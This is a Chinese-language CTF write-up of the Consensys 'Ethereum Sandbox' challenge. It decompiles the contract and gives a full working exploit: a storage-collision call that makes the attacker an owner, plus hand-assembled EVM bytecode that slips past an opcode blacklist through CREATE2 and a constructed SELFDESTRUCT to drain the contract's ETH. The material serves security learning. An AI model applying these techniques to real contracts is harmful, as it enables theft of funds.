Consensys CTF – “以太坊沙盒”

基于samczsun的解析文章学习.Consensys在如下地址0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a部署了一个合约,合约名称叫做以太坊沙盒,其没有公开源代码,要求黑客们攻破该沙盒,拿出该合约中的所有ETH。

# Consensys CTF - "以太坊沙盒" ## 基于samczsun的解析文章学习 ## 分析原文: 本文都是基于https://samczsun.com/consensys-ctf-writeup/ 这篇文章进行的分析,如有需要可以参考原文。 ## 问题描述: Consensys在如下地址`0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a`部署了一个合约,合约名称叫做以太坊沙盒,其没有公开源代码,要求黑客们攻破该沙盒,拿出该合约中的所有ETH。 ## 问题分析: 由于拿到的只是二进制代码,需要我们进行逆向得到solidity源码。故第一步是借助工具,将二进制代码翻译成可读的opcode代码和solidity代码。这里我们使用 https://contract-library.com/ 网站帮助分析。 ### 源码分析 将对应的地址传入该网站后,我们可以看到其是一个典型的solidity源码反编译后的结构,首先是函数选择区(针对public,external函数)如下。一共有4个函数。 ```solidity if (0x25e7c27 == function_selector) { owners(uint256); } else if (0x2918435f == function_selector) { 0x2918435f(); } else if (0x4214352d == function_selector) { 0x4214352d(); } else if (0x74e3fb3e == function_selector) { 0x74e3fb3e(); } ``` 再看到其的全局变量,一共有两个,分别在slot0和slot1的位置处。可以看到这两个全局变量都是uint256[]数组。 ```solidity uint256[] array_0; // STORAGE[0x0] uint256[] _owners; // STORAGE[0x1] ``` 依次分析函数,找到我们感兴趣的部分,然后再深入调查该函数,看是否能够达到我们的目标——拿到该合约的所有ETH。 首先是函数1:0x4214352d ```solidity function 0x4214352d(uint256 varg0, uint256 varg1) public nonPayable { require(msg.data.length - 4 >= 64); assert(varg1 < array_0.length); array_0[varg1] = varg0; } //翻译一下 function set_array(uint256 _value, uint256 _key) public { require(msg.data.length - 4 >= 64); assert(_key < array_0.length); array_0[_key] = _value; } ``` 可以看到该函数主要是对array_0进行赋值,在赋值前检查了两项: - msg.data的长度减去4之后要大于64 - msg.data = bytes4(函数签名) + bytes32(参数1) + bytes32(参数2) - 减去4的原因是函数签名的长度为4 - 要求key的值小于array的长度 再看函数2:0x74e3fb3e ```solidity function 0x74e3fb3e(uint256 varg0) public nonPayable { require(msg.data.length - 4 >= 32); assert(varg0 < array_0.length); return array_0[varg0]; } => function get_array(uint256 _key) public view returns (uint256) { require(msg.data.length - 4 >= 32); assert(_key < array_0.length); return array_0[_key]; } ``` 与set_array函数类似 再看函数3:owners ```solidity function owners(uint256 varg0) public nonPayable { require(msg.data.length - 4 >= 32); assert(varg0 < _owners.length); return address(_owners[varg0]); } => function owners(uint256 _key) public view returns (address) { require(msg.data.length - 4 >= 32); assert(_key < _owners.length); return address(_owners[_key]); } ``` 最后看函数4:0x2918435f ```solidity function 0x2918435f(address varg0) public payable { require(msg.data.length - 4 >= 32); v0 = v1 = 0; v2 = v3 = 0; while (v2 < _owners.length) { assert(v2 < _owners.length); if (msg.sender == address(_owners[v2])) { v0 = v4 = 1; } v2 += 1; } require(v0); MEM[64] = MEM[64] + (varg0.code.size + 32 + 31 & ~0x1f); EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size); v5 = v6 = 0; while (v5 < varg0.code.size) { if (v5 < varg0.code.size) { break; } assert(v5 < varg0.code.size); require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf000000000000000000000000000000000000000000000000000000000000000); assert(v5 < varg0.code.size); require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf100000000000000000000000000000000000000000000000000000000000000); assert(v5 < varg0.code.size); require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf200000000000000000000000000000000000000000000000000000000000000); assert(v5 < varg0.code.size); require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf400000000000000000000000000000000000000000000000000000000000000); assert(v5 < varg0.code.size); require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xfa00000000000000000000000000000000000000000000000000000000000000); assert(v5 < varg0.code.size); require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xff00000000000000000000000000000000000000000000000000000000000000); v5 += 1; } v7, v8 = varg0.delegatecall().gas(msg.gas); if (RETURNDATASIZE() != 0) { v9 = new bytes[](RETURNDATASIZE()); v8 = v9.data; RETURNDATACOPY(v8, 0, RETURNDATASIZE()); } require(v7); } ``` 可以看到函数4 `0x2918435f`比较复杂,简单分析函数4中有三层require: 1. 要求调用该函数的msg.data的长度,`require(msg.data.length - 4 >= 32);`与之前的函数中类似 2. 要求msg.sender是_owners中的一员,通过一个while循环来循环检查所有的Onwer中成员,看是否满足msg.sender==owner ```solidity v0 = v1 = 0; v2 = v3 = 0; while (v2 < _owners.length) { assert(v2 < _owners.length); if (msg.sender == address(_owners[v2])) { v0 = v4 = 1; } v2 += 1; } require(v0); =>翻译一下: bool permit = false; uint256 i = 0; while (i < _owners.length) { assert(i < _owners.length); if (msg.sender == address(_owners[i])) { permit = true; } i += 1; } require(permit); ``` 3.要求作为传入参数的地址addr,逐字节检查该参数地址对应的代码,要求其中不含有0xf0, 0xf1,0xf2,0xf4,0xfa, 0xff等字节。在黄皮书中这几个字节对应的分别是:create,call,callcode, delegatecall, staticcall, selfdestruct. 这部分对应的代码比较复杂,我们将对比opcode,逐字翻译 ```solidity MEM[64] = MEM[64] + (varg0.code.size + 32 + 31 & ~0x1f); EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size); ``` 首先我们看黄皮书中关于EXTCODECOPY中的定义: $$ \forall i \in \{ 0 \dots \boldsymbol{\mu}_{\mathbf{s}}[3] - 1\}: \boldsymbol{\mu}'_{\mathbf{m}}[\boldsymbol{\mu}_{\mathbf{s}}[1] + i ] \equiv \begin{cases} \mathbf{b}[\boldsymbol{\mu}_{\mathbf{s}}[2] + i] & \text{if} \quad \boldsymbol{\mu}_{\mathbf{s}}[2] + i < \lVert \mathbf{b} \rVert \\ \text{STOP} & \text{otherwise} \end{cases} $$ $$ \mathtt{KEC}(\mathbf{b}) \equiv \boldsymbol{\sigma}[\boldsymbol{\mu}_{\mathbf{s}}[0] \mod 2^{160}]_{\mathrm{c}} $$ 可以看到EXTCODECOPY,拿4个参数,返回0个参数。简单解释是将栈里第0个元素-合约地址对应的代码段,设置偏移量为栈中第2个元素的值,拷贝的长度为栈里第3个元素对应的值,拷贝到的目的地为内存中栈里第1个元素对应的值的位置。 故 ```solidity MEM[64] = MEM[64] + (addr.code.size + 32 + 31 & ~0x1f) EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size); => EXTCODECOPY(addr=varg0, memory_index=MEM[64]+32, offset=0, length=addr.code.size) => bytes memory code; uint256 size; assembly { code := mload(0x40) //0x40=64, code=0x80 size := extcodesize(addr) mstore(0x40, add(code, and(not(0x1f), add(0x1f, add(0x20, size))))) //新的自由内存指针 mstore(code, size) //在0x80地方存储codesize extcodecopy(addr,add(code, 0x20),0,addr.code.size) //把extcode全部拷贝到内存0xa0处 } ``` 在看while循环: ```solidity v5 = v6 = 0; while (v5 < varg0.code.size) { if (v5 < varg0.code.size) { break; } assert(v5 < varg0.code.size); => uint256 i = 0; while (i < addr.code.size) { assert(i < addr.code.size) } require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf000000000000000000000000000000000000000000000000000000000000000); => ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = 0x1100000000000000000000000000000000000000000000000000000000000000 MEM[0x40] = 0x80 0x80处存储的是code的size,长度为0x20;具体的代码从0x80+0x20处开始存储。 MEM[0x20 + 0x80 + i] 实际读取的是MEM[0x20 + 0x80 + i: 0x20 + 0x80 + i + 0x20], 故先将这32位字节向右移动248bit,再向左移动248bit,即去掉最右侧248bit, 再和0x110000...取AND,最后得到的结果与0xf0...对比。 实际效果是每一位都对比,不能等于0xf0,0xf1,0xf2等 => for (uint256 i=0; i < code.length; i++) { require(code[i] != 0xf0);//Create require(code[i] != 0xf1);//CALL require(code[i] != 0xf2);//CALLCODE require(code[i] != 0xf4);//DELEGATECALL require(code[i] != 0xfa);//STATICCALL require(code[i] != 0xff);//SELEFDESTRUCT } ``` ### 问题分析-1 简单看,我们需要调用函数4,`0x2918435f` 因为其含有delegatecall, 可以执行我们想要的代码来获取该合约所有的ETH。 但是其要满足三个条件,尤其是第二个条件限制了msg.sender必须是owner数组中的一员。故我们需要先把msg.sender 放到owner数组中。但是给定的函数中,并没有直接设置owner数组的,唯有一个设置array数组的函数:set_array(_key, _value). 故需要思考,能否通过set_array函数来改变owner数组中的值。 这里需要一个背景知识,即数组是如何再solidity中存储的。 在solidity中,动态数组在storage中存储模式为: 1. 动态数组声明处的slot_A存储的是该动态数组的长度 2. 动态数组中的每一个元素存储的位置是keccak256(slot_A)+i, 即动态数组事实上还是连续储存,但其第一个元素存储的位置是keccak256(slot_A) 故在本题目中,由于array的长度被设置为uint(-1), 故可以通过计算array[0]和owner[0]对应的storage key的差值,来通过set_array方法设置owner中的值。 ```python # make alice the owner # array.length == uint(-1) # array slot = 0, key0 = keccak256(0x00..00) # array owner slot = 1, key1 = keccak256(0x00..01) # delta = key1 - key0 # 通过设置array的偏移来设置owner中的值 # offset的值为delta key0 = int("0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563",16) key1 = int("0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6",16) delta = key1 - key0 ctf.setArray(alice.address,delta, {'from':alice}) ``` 也可以部署一个hacker.sol来实现该目的 ```solidity contract Hacker { address public ctf01 = 0x68Cb858247ef5c4A0D0Cde9d6F68Dce93e49c02A; function step1() public { bytes32 key0 = keccak256(abi.encode(0x00)); bytes32 key1 = keccak256(abi.encode(0x01)); uint256 delta = uint256(key1) - uint256(key0); (bool success, ) = address(ctf01).call(abi.encodeWithSelector(0x4214352d, tx.origin, delta)); require(success); } } ``` ### 问题分析-2 现在我们需要满足第三个条件,即构造一个合约,该合约对应的runtime code中不含有0xf0, 0xf1, 0xf2, 0xf4, 0xfa, 0xff等字节,因此需要我们手动来写合约,然后通过该sandbox的第四个函数来delegatecall该合约,从而清空sandbox中的ETH。 首先明确我们使用create2, 其为0xf5, 我们可以首先看下黄皮书中关于create2的定义 $$ \mathbf{i} \equiv \boldsymbol{\mu}_{\mathbf{m}}[ \boldsymbol{\mu}_{\mathbf{s}}[1] \dots (\boldsymbol{\mu}_{\mathbf{s}}[1] + \boldsymbol{\mu}_{\mathbf{s}}[2] - 1) ] $$ $$ \zeta \equiv \boldsymbol{\mu}_{\mathbf{s}}[3] $$ $$ (\boldsymbol{\sigma}', \boldsymbol{\mu}'_{\mathrm{g}}, A^+, \mathbf{o}) \equiv \begin{cases}{lambda}{\Lambda}(\boldsymbol{\sigma}^*, I_{\mathrm{a}}, I_{\mathrm{o}}, L(\boldsymbol{\mu}_{\mathrm{g}}), I_{\mathrm{p}}, \boldsymbol{\mu}_{\mathbf{s}}[0], \mathbf{i}, I_{\mathrm{e}} + 1, \zeta, I_{\mathrm{w}}) & \text{if} \quad \boldsymbol{\mu}_{\mathbf{s}}[0] \leqslant \boldsymbol{\sigma}[I_{\mathrm{a}}]_{\mathrm{b}} \; \\ \quad &\wedge\; I_{\mathrm{e}} < 1024\\ \big(\boldsymbol{\sigma}, \boldsymbol{\mu}_{\mathrm{g}}, \varnothing\big) & \text{otherwise} \end{cases} $$ 简单来说是先计算出要创建的合约的地址,然后执行要创建的合约的初始化代码,再将该初始化代码与要创建的合约地址进行关联。 故我们需要一个合约,他的runtime code中执行一个create2函数,创建一个临时合约,并将上下文环境中的address(this)里的全部ETH都作为赠品赠与该临时合约,该临时合约的初始化代码中应该执行selfdestruct(tx.orgin)函数来将所有的ETH转移给合约部署人。 先用opcode来写runtime code: ```bash //tx.origin 这里的ORIGIN是payload,不应该被执行,故需要改为push1 0x32 //SELFDESTRUCT //构造payload, 因为SELFDESTRUCT是0xff,不能被使用,故可以通过ADD来绕道实现 push2 0x32fe // 0x32fe push1 0x01 // 0x32fe 0x01 ADD // 0x32ff push1 0x40 //0x32ff 0x40 mstore //构造payload 0x40 -> 0x32ff, push1 00//Us[3] -> salt 盐 push1 0x04//Us[2] -> length 长度 4 push1 0x3e//us[1] -> offset 偏移值 -> 内存中0x40+0x20-0x2=0x3e ADDRESS BALANCE //Us[0] -> ETH数量->应该是该address(this)的所有ETH create2 => 6132fe60010160405260006004603e3031f5 ``` 在写该合约的初始化代码,可以用solidity写了,因为是我自己执行来部署该runtime code ```solidity contract HackCTF{ constructor() public payable{ assembly{ mstore(0x00, 0x6132fe60010160405260006004603e3031f5) return(0x0e, 0x12) } } } ``` 然后部署HackCTF合约,在调用ctf中的第四个函数,将该合约的地址作为参数传进去即可 ```python hacker = HackCTF.deploy({"from":alice}) ctf.hack(hacker, {'from':alice}) print(alice.balance()) ```

Consensys CTF - "以太坊沙盒"

基于samczsun的解析文章学习

分析原文:

本文都是基于https://samczsun.com/consensys-ctf-writeup/ 这篇文章进行的分析,如有需要可以参考原文。

问题描述:

Consensys在如下地址0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a部署了一个合约,合约名称叫做以太坊沙盒,其没有公开源代码,要求黑客们攻破该沙盒,拿出该合约中的所有ETH。

问题分析:

由于拿到的只是二进制代码,需要我们进行逆向得到solidity源码。故第一步是借助工具,将二进制代码翻译成可读的opcode代码和solidity代码。这里我们使用 https://contract-library.com/ 网站帮助分析。

源码分析

将对应的地址传入该网站后,我们可以看到其是一个典型的solidity源码反编译后的结构,首先是函数选择区(针对public,external函数)如下。一共有4个函数。

if (0x25e7c27 == function_selector) {
    owners(uint256);
} else if (0x2918435f == function_selector) {
    0x2918435f();
} else if (0x4214352d == function_selector) {
    0x4214352d();
} else if (0x74e3fb3e == function_selector) {
    0x74e3fb3e();
}

再看到其的全局变量,一共有两个,分别在slot0和slot1的位置处。可以看到这两个全局变量都是uint256[]数组。

uint256[] array_0; // STORAGE[0x0]
uint256[] _owners; // STORAGE[0x1]

依次分析函数,找到我们感兴趣的部分,然后再深入调查该函数,看是否能够达到我们的目标——拿到该合约的所有ETH。

首先是函数1:0x4214352d

function 0x4214352d(uint256 varg0, uint256 varg1) public nonPayable { 
    require(msg.data.length - 4 >= 64);
    assert(varg1 &lt; array_0.length);
    array_0[varg1] = varg0;
}
//翻译一下
function set_array(uint256 _value, uint256 _key) public {
    require(msg.data.length - 4 >= 64);
    assert(_key &lt; array_0.length);
    array_0[_key] = _value;
}

可以看到该函数主要是对array_0进行赋值,在赋值前检查了两项:

  • msg.data的长度减去4之后要大于64
    • msg.data = bytes4(函数签名) + bytes32(参数1) + bytes32(参数2)
    • 减去4的原因是函数签名的长度为4
  • 要求key的值小于array的长度

再看函数2:0x74e3fb3e

function 0x74e3fb3e(uint256 varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    assert(varg0 &lt; array_0.length);
    return array_0[varg0];
}
=>
function get_array(uint256 _key) public view returns (uint256) {
    require(msg.data.length - 4 >= 32);
    assert(_key &lt; array_0.length);
    return array_0[_key];
}

与set_array函数类似

再看函数3:owners

function owners(uint256 varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    assert(varg0 &lt; _owners.length);
    return address(_owners[varg0]);
}
=>
function owners(uint256 _key) public view returns (address) {
    require(msg.data.length - 4 >= 32);
    assert(_key &lt; _owners.length);
    return address(_owners[_key]);
}

最后看函数4:0x2918435f

function 0x2918435f(address varg0) public payable { 
    require(msg.data.length - 4 >= 32);
    v0 = v1 = 0;
    v2 = v3 = 0;
    while (v2 &lt; _owners.length) {
        assert(v2 &lt; _owners.length);
        if (msg.sender == address(_owners[v2])) {
            v0 = v4 = 1;
        }
        v2 += 1;
    }
    require(v0);
    MEM[64] = MEM[64] + (varg0.code.size + 32 + 31 & ~0x1f);
    EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size);
    v5 = v6 = 0;
    while (v5 &lt; varg0.code.size) {
        if (v5 &lt; varg0.code.size) {
            break;
        }
        assert(v5 &lt; varg0.code.size);
        require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 &lt;&lt; 248 != 0xf000000000000000000000000000000000000000000000000000000000000000);
        assert(v5 &lt; varg0.code.size);
        require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 &lt;&lt; 248 != 0xf100000000000000000000000000000000000000000000000000000000000000);
        assert(v5 &lt; varg0.code.size);
        require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 &lt;&lt; 248 != 0xf200000000000000000000000000000000000000000000000000000000000000);
        assert(v5 &lt; varg0.code.size);
        require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 &lt;&lt; 248 != 0xf400000000000000000000000000000000000000000000000000000000000000);
        assert(v5 &lt; varg0.code.size);
        require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 &lt;&lt; 248 != 0xfa00000000000000000000000000000000000000000000000000000000000000);
        assert(v5 &lt; varg0.code.size);
        require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 &lt;&lt; 248 != 0xff00000000000000000000000000000000000000000000000000000000000000);
        v5 += 1;
    }
    v7, v8 = varg0.delegatecall().gas(msg.gas);
    if (RETURNDATASIZE() != 0) {
        v9 = new bytes[](RETURNDATASIZE());
        v8 = v9.data;
        RETURNDATACOPY(v8, 0, RETURNDATASIZE());
    }
    require(v7);
}

可以看到函数4 0x2918435f比较复杂,简单分析函数4中有三层require:

  1. 要求调用该函数的msg.data的长度,require(msg.data.length - 4 >= 32);与之前的函数中类似
  2. 要求msg.sender是_owners中的一员,通过一个while循环来循环检查所有的Onwer中成员,看是否满足msg.sender==owner

    v0 = v1 = 0;
    v2 = v3 = 0;
    while (v2 &lt; _owners.length) {
       assert(v2 &lt; _owners.length);
       if (msg.sender == address(_owners[v2])) {
           v0 = v4 = 1;
       }
       v2 += 1;
    }
    require(v0);
    =>翻译一下:
    bool permit = false;
    uint256 i = 0;
    while (i &lt; _owners.length) {
    assert(i &lt; _owners.length);
    if (msg.sender == address(_owners[i])) {
        permit = true;
    }
    i += 1;
    }
    require(permit);

    3.要求作为传入参数的地址addr,逐字节检查该参数地址对应的代码,要求其中不含有0xf0, 0xf1,0xf2,0xf4,0xfa, 0xff等字节。在黄皮书中这几个字节对应的分别是:create,call,callcode, delegatecall, staticcall, selfdestruct.

    这部分对应的代码比较复杂,我们将对比opcode,逐字翻译

    MEM[64] = MEM[64] + (varg0.code.size + 32 + 31 & ~0x1f);
    EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size);

    首先我们看黄皮书中关于EXTCODECOPY中的定义:

    $$ \forall i \in { 0 \dots \boldsymbol{\mu}{\mathbf{s}}[3] - 1}: \boldsymbol{\mu}'{\mathbf{m}}[\boldsymbol{\mu}{\mathbf{s}}[1] + i ] \equiv \begin{cases} \mathbf{b}[\boldsymbol{\mu}{\mathbf{s}}[2] + i] & \text{if} \quad \boldsymbol{\mu}_{\mathbf{s}}[2] + i < \lVert \mathbf{b} \rVert \ \text{STOP} & \text{otherwise} \end{cases} $$

    $$ \mathtt{KEC}(\mathbf{b}) \equiv \boldsymbol{\sigma}[\boldsymbol{\mu}{\mathbf{s}}[0] \mod 2^{160}]{\mathrm{c}} $$

    可以看到EXTCODECOPY,拿4个参数,返回0个参数。简单解释是将栈里第0个元素-合约地址对应的代码段,设置偏移量为栈中第2个元素的值,拷贝的长度为栈里第3个元素对应的值,拷贝到的目的地为内存中栈里第1个元素对应的值的位置。

    MEM[64]  = MEM[64] + (addr.code.size + 32 + 31 & ~0x1f)
    EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size);
    =>
    EXTCODECOPY(addr=varg0, memory_index=MEM[64]+32, offset=0, length=addr.code.size)
    =>
    bytes memory code;
    uint256 size;
    assembly {
    code := mload(0x40) //0x40=64, code=0x80
    size := extcodesize(addr)
    mstore(0x40, add(code, and(not(0x1f), add(0x1f, add(0x20, size))))) //新的自由内存指针
    mstore(code, size) //在0x80地方存储codesize
    extcodecopy(addr,add(code, 0x20),0,addr.code.size) //把extcode全部拷贝到内存0xa0处
    }

    在看while循环:

    v5 = v6 = 0;
    while (v5 &lt; varg0.code.size) {
       if (v5 &lt; varg0.code.size) {
           break;
       }
       assert(v5 &lt; varg0.code.size);
    =>
    uint256 i = 0;
    while (i &lt; addr.code.size) {
    assert(i &lt; addr.code.size)
    }
    
    require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 &lt;&lt; 248 != 0xf000000000000000000000000000000000000000000000000000000000000000);
    =>
    ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = 0x1100000000000000000000000000000000000000000000000000000000000000
    MEM[0x40] = 0x80
    0x80处存储的是code的size,长度为0x20;具体的代码从0x80+0x20处开始存储。
    MEM[0x20 + 0x80 + i] 实际读取的是MEM[0x20 + 0x80 + i: 0x20 + 0x80 + i + 0x20], 故先将这32位字节向右移动248bit,再向左移动248bit,即去掉最右侧248bit, 再和0x110000...取AND,最后得到的结果与0xf0...对比。
    实际效果是每一位都对比,不能等于0xf0,0xf1,0xf2等
    =>
    for (uint256 i=0; i &lt; code.length; i++) {
    require(code[i] != 0xf0);//Create
    require(code[i] != 0xf1);//CALL
    require(code[i] != 0xf2);//CALLCODE
    require(code[i] != 0xf4);//DELEGATECALL
    require(code[i] != 0xfa);//STATICCALL
    require(code[i] != 0xff);//SELEFDESTRUCT    
    }

问题分析-1

简单看,我们需要调用函数4,0x2918435f 因为其含有delegatecall, 可以执行我们想要的代码来获取该合约所有的ETH。

但是其要满足三个条件,尤其是第二个条件限制了msg.sender必须是owner数组中的一员。故我们需要先把msg.sender 放到owner数组中。但是给定的函数中,并没有直接设置owner数组的,唯有一个设置array数组的函数:set_array(_key, _value). 故需要思考,能否通过set_array函数来改变owner数组中的值。

这里需要一个背景知识,即数组是如何再solidity中存储的。

在solidity中,动态数组在storage中存储模式为:

  1. 动态数组声明处的slot_A存储的是该动态数组的长度
  2. 动态数组中的每一个元素存储的位置是keccak256(slot_A)+i, 即动态数组事实上还是连续储存,但其第一个元素存储的位置是keccak256(slot_A)

故在本题目中,由于array的长度被设置为uint(-1), 故可以通过计算array[0]和owner[0]对应的storage key的差值,来通过set_array方法设置owner中的值。

# make alice the owner 
# array.length == uint(-1)
# array slot = 0, key0 = keccak256(0x00..00)
# array owner slot = 1, key1 = keccak256(0x00..01)
# delta = key1 - key0
# 通过设置array的偏移来设置owner中的值
# offset的值为delta
key0 = int("0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563",16)
key1 = int("0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6",16)
delta = key1 - key0
ctf.setArray(alice.address,delta, {'from':alice})

也可以部署一个hacker.sol来实现该目的

contract Hacker {
    address public ctf01 = 0x68Cb858247ef5c4A0D0Cde9d6F68Dce93e49c02A;
    function step1() public {
        bytes32 key0 = keccak256(abi.encode(0x00));
        bytes32 key1 = keccak256(abi.encode(0x01));
        uint256 delta = uint256(key1) - uint256(key0);
        (bool success, ) = address(ctf01).call(abi.encodeWithSelector(0x4214352d, tx.origin, delta));
        require(success);
    }
}

问题分析-2

现在我们需要满足第三个条件,即构造一个合约,该合约对应的runtime code中不含有0xf0, 0xf1, 0xf2, 0xf4, 0xfa, 0xff等字节,因此需要我们手动来写合约,然后通过该sandbox的第四个函数来delegatecall该合约,从而清空sandbox中的ETH。

首先明确我们使用create2, 其为0xf5, 我们可以首先看下黄皮书中关于create2的定义

$$ \mathbf{i} \equiv \boldsymbol{\mu}{\mathbf{m}}[ \boldsymbol{\mu}{\mathbf{s}}[1] \dots (\boldsymbol{\mu}{\mathbf{s}}[1] + \boldsymbol{\mu}{\mathbf{s}}[2] - 1) ] $$

$$ \zeta \equiv \boldsymbol{\mu}_{\mathbf{s}}[3] $$

$$ (\boldsymbol{\sigma}', \boldsymbol{\mu}'{\mathrm{g}}, A^+, \mathbf{o}) \equiv \begin{cases}{lambda}{\Lambda}(\boldsymbol{\sigma}^*, I{\mathrm{a}}, I{\mathrm{o}}, L(\boldsymbol{\mu}{\mathrm{g}}), I{\mathrm{p}}, \boldsymbol{\mu}{\mathbf{s}}[0], \mathbf{i}, I{\mathrm{e}} + 1, \zeta, I{\mathrm{w}}) & \text{if} \quad \boldsymbol{\mu}{\mathbf{s}}[0] \leqslant \boldsymbol{\sigma}[I{\mathrm{a}}]{\mathrm{b}} \; \ \quad &\wedge\; I{\mathrm{e}} < 1024\ \big(\boldsymbol{\sigma}, \boldsymbol{\mu}_{\mathrm{g}}, \varnothing\big) & \text{otherwise} \end{cases} $$

简单来说是先计算出要创建的合约的地址,然后执行要创建的合约的初始化代码,再将该初始化代码与要创建的合约地址进行关联。

故我们需要一个合约,他的runtime code中执行一个create2函数,创建一个临时合约,并将上下文环境中的address(this)里的全部ETH都作为赠品赠与该临时合约,该临时合约的初始化代码中应该执行selfdestruct(tx.orgin)函数来将所有的ETH转移给合约部署人。

先用opcode来写runtime code:

//tx.origin 这里的ORIGIN是payload,不应该被执行,故需要改为push1 0x32
//SELFDESTRUCT //构造payload, 因为SELFDESTRUCT是0xff,不能被使用,故可以通过ADD来绕道实现
push2 0x32fe // 0x32fe
push1 0x01 // 0x32fe 0x01
ADD // 0x32ff 
push1 0x40 //0x32ff 0x40
mstore //构造payload 0x40 -> 0x32ff, 
push1 00//Us[3] -> salt 盐
push1 0x04//Us[2] -> length 长度 4
push1 0x3e//us[1] -> offset 偏移值 -> 内存中0x40+0x20-0x2=0x3e
ADDRESS
BALANCE //Us[0] -> ETH数量->应该是该address(this)的所有ETH
create2
=>
6132fe60010160405260006004603e3031f5

在写该合约的初始化代码,可以用solidity写了,因为是我自己执行来部署该runtime code

contract HackCTF{
    constructor() public payable{
        assembly{
            mstore(0x00, 0x6132fe60010160405260006004603e3031f5)
            return(0x0e, 0x12)
        }
    }
}

然后部署HackCTF合约,在调用ctf中的第四个函数,将该合约的地址作为参数传进去即可

hacker = HackCTF.deploy({"from":alice})
ctf.hack(hacker, {'from':alice})
print(alice.balance())

区块链技术网。

  • 发表于 2021-06-17 22:07
  • 阅读 ( 610 )
  • 学分 ( 34 )
  • 分类:智能合约

评论